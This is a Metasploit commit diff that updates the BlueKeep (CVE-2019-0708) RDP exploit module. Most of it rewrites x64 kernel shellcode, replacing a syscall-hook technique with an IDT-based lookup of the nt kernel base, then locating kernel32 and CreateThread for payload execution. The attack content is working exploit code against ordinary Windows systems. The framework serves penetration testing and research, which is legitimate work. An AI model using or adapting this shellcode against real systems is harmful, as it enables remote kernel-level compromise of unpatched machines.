Land #12553, Meltdown fix for BlueKeep exploit

This commit is contained in:
William Vu
2019-11-11 17:33:52 -06:00
committed by Metasploit
parent aa48004fb7
commit eebe4e9bc2
2 changed files with 23 additions and 124 deletions
@@ -27,7 +27,8 @@ class MetasploitModule < Msf::Auxiliary
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ],
[ 'URL', 'https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html' ]
],
'DisclosureDate' => '2019-05-14',
'License' => MSF_LICENSE,
@@ -79,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
[
['CVE', '2019-0708'],
['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html']
],
'DefaultOptions' =>
{
@@ -404,7 +405,11 @@ _egg_loop:
# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
data_kapc_offset = 0x10
data_kapc_offset = 0x30
data_hal_original_syscall_shadow_common_offset_offset = 0x20
data_hal_fake_syscall_spinlock_offset = 0x10
data_nt_kernel_addr_offset = 0x8
data_origin_syscall_offset = 0
data_peb_addr_offset = -0x10
@@ -426,51 +431,26 @@ _egg_loop:
asm = %Q^
shellcode_start:
; egg tag
nop
nop
nop
nop
; IRQL is DISPATCH_LEVEL when got code execution
push rbp
setup_syscall_shadow_hook:
; IRQL is PASSIVE_LEVEL when got code execution
;int 0x3
call set_rbp_data_address_fn
mov rbp, #{hal_heap_storage}
; read current syscall
mov ecx, 0xc0000082
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea r9, [rel syscall_hook]
cmp eax, r9d
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
cmp dword [rbp+#{data_origin_syscall_offset}], eax
je _hook_syscall
; save original syscall
mov dword [rbp+#{data_origin_syscall_offset}+4], edx
mov dword [rbp+#{data_origin_syscall_offset}], eax
; first time on the target
mov byte [rbp+#{data_queueing_kapc_offset}], 0
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0xc0000082 affects only running processor
xchg r9, rax
push rax
pop rdx ; mov rdx, rax
shr rdx, 32
wrmsr
_setup_syscall_hook_done:
pop rbp
;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.
; TODO: make the lock not suck!!
mov rax, qword [gs:0x188]
add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++
@@ -487,88 +467,6 @@ _setup_syscall_hook_done:
pop rdi
ret
;--------------------- END HACK crappy thread cleanup
;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
; ------ HACK rbp wasnt valid!
mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??
; --------- HACK end rbp
_set_rbp_data_address_fn_next:
;shr rbp, 12
;shl rbp, 12
;sub rbp, 0x70 ; for KAPC struct too
ret
;int 3
;call $+5
;pop r13
syscall_hook:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push 0x2b
push qword [gs:0x10]
push rax ; want this stack space to store original syscall addr
; save rax first to make this function continue to real syscall
push rax
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
call set_rbp_data_address_fn
mov rax, [rbp+#{data_origin_syscall_offset}]
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [rsp+0x10], rax
; save all volatile registers
push rcx
push rdx
push r8
push r9
push r10
push r11
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0xc0000082
mov eax, [rbp+#{data_origin_syscall_offset}]
mov edx, [rbp+#{data_origin_syscall_offset}+4]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rbp
pop rax
ret
r3_to_r0_start:
; save used non-volatile registers
push r15
@@ -581,8 +479,9 @@ r3_to_r0_start:
;======================================
; find nt kernel address
;======================================
mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel
shr r15, 0xc ; strip to page size
mov r15, qword [gs:0x38] ; get IdtBase of KPCR
mov r15, qword [r15 + 0x4] ; get ISR address
shr r15, 0xc ; strip to page size
shl r15, 0xc
_x64_find_nt_walk_page:
@@ -993,7 +892,6 @@ _find_kernel32_dll_loop:
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
;int3
mov r15, [rax+0x20]
mov edi, #{createthread_hash}
call get_proc_addr